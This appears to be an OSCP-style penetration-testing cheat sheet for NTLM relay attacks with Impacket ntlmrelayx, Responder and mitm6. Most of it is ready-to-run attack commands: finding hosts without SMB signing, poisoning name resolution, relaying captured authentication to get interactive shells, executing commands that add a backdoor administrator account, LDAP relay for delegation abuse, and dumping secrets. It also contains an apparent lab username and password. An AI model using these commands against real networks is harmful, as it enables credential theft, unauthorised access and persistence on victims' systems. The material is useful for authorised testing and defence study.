Impacket — ntlmrelayx
External: Internal All The Things — NTLM Relay
What does ntlmrelayx do?
ntlmrelayx.py relays NTLM authentication from a victim to another target — authenticating as the victim without knowing their password. Used with Responder (or ntlm_theft lures) when you capture NTLMv2 hashes but can’t crack them quickly.
Victim → authenticates to Responder (fake SMB)
→ Responder forwards to ntlmrelayx
→ ntlmrelayx relays auth to 10.10.10.5
→ You get shell / SAM dump AS the victim
Requirement: Target must have SMB signing disabled or not required. Domain Controllers almost always require signing → relay won’t work against DCs.
📌 1) Check If Relay Is Possible
# Generate list of relay-vulnerable hosts
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# Nmap
nmap -p 445 --script smb2-security-mode 10.10.10.0/24
# Look for: "Message signing enabled but not required" ✅ vulnerable
# Manual
crackmapexec smb 10.10.10.10
# signing:False → vulnerable📌 2) Setup — Responder + ntlmrelayx
Step 1 — Edit Responder.conf
Turn off SMB and HTTP so ntlmrelayx handles those protocols:
# /usr/share/responder/Responder.conf
SMB = Off
HTTP = OffStep 2 — Start ntlmrelayx (Terminal 1)
impacket-ntlmrelayx -tf targets.txt -smb2supportStep 3 — Start Responder (Terminal 2)
sudo responder -I tun0 -w On -r On -vStep 4 — Trigger auth
Wait for LLMNR/NBT-NS broadcast, or deliver ntlm_theft payload.
📌 3) Flags
| Flag | Description |
|---|---|
-tf FILE | Target file (one IP/hostname per line) |
-t TARGET | Single target (smb://IP, ldap://IP, http://IP) |
-smb2support | Enable SMB2 (required for modern Windows) |
-i | Interactive SMB shell (local port — connect with nc) |
-c COMMAND | Execute single command on relay success |
-e FILE | Upload and execute file |
-wh WPAD_HOST | WPAD host for HTTP relay |
-l LOOTDIR | Directory to save loot (LDAP dumps) |
-6 | IPv6 mode (use with mitm6) |
-of FILE | Output file for hashes |
-socks | SOCKS proxy for relayed sessions |
--no-http-server | SMB relay only — no HTTP listener (pair with slinky lure) |
-debug | Debug output |
📌 4) Usage Examples
SMB relay only (--no-http-server)
When the lure is an SMB icon UNC (e.g. nxc slinky) — no HTTP listener needed:
# Build targets first
nxc smb 192.168.121.172-174 -u 'Eric.Wallows' -p 'EricLikesRunning800' \
--gen-relay-list smb_targets.txt
# Relay (Responder.conf: SMB=Off if also running Responder)
impacket-ntlmrelayx --no-http-server -smb2support -tf smb_targets.txtInteractive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# When relay succeeds, connect to local port shown in output:
nc 127.0.0.1 11000Execute command
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"Single target
impacket-ntlmrelayx -t smb://10.10.10.5 -smb2support -iLDAP relay (AD — create computer account / DCSync)
# With mitm6 for IPv6 poisoning
sudo mitm6 -d corp.local
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker_wpad --delegate-access -l loot/HTTP relay (WPAD)
impacket-ntlmrelayx -tf targets.txt -smb2support -wh attacker_wpad📌 5) Full OSCP Workflow
1. netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
→ If empty, relay won't work on this subnet
2. Responder.conf → SMB=Off, HTTP=Off
3. Terminal 1: impacket-ntlmrelayx -tf targets.txt -smb2support -i
Terminal 2: sudo responder -I tun0 -w On
4. Wait for victim OR deliver ntlm_theft file
5. nc 127.0.0.1 11000 → shell as victim user
6. Escalate / dump:
impacket-secretsdump domain/user@TARGET -hashes ':RELAYED_HASH'
📌 Quick Cheat Sheet
# ─── CHECK SIGNING ────────────────────────────────────────────
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# ─── RELAY SETUP ──────────────────────────────────────────────
# Responder.conf: SMB=Off, HTTP=Off
impacket-ntlmrelayx -tf targets.txt -smb2support -i
sudo responder -I tun0 -w On
# ─── CONNECT TO RELAY SHELL ───────────────────────────────────
nc 127.0.0.1 11000
# ─── EXEC COMMAND VIA RELAY ───────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"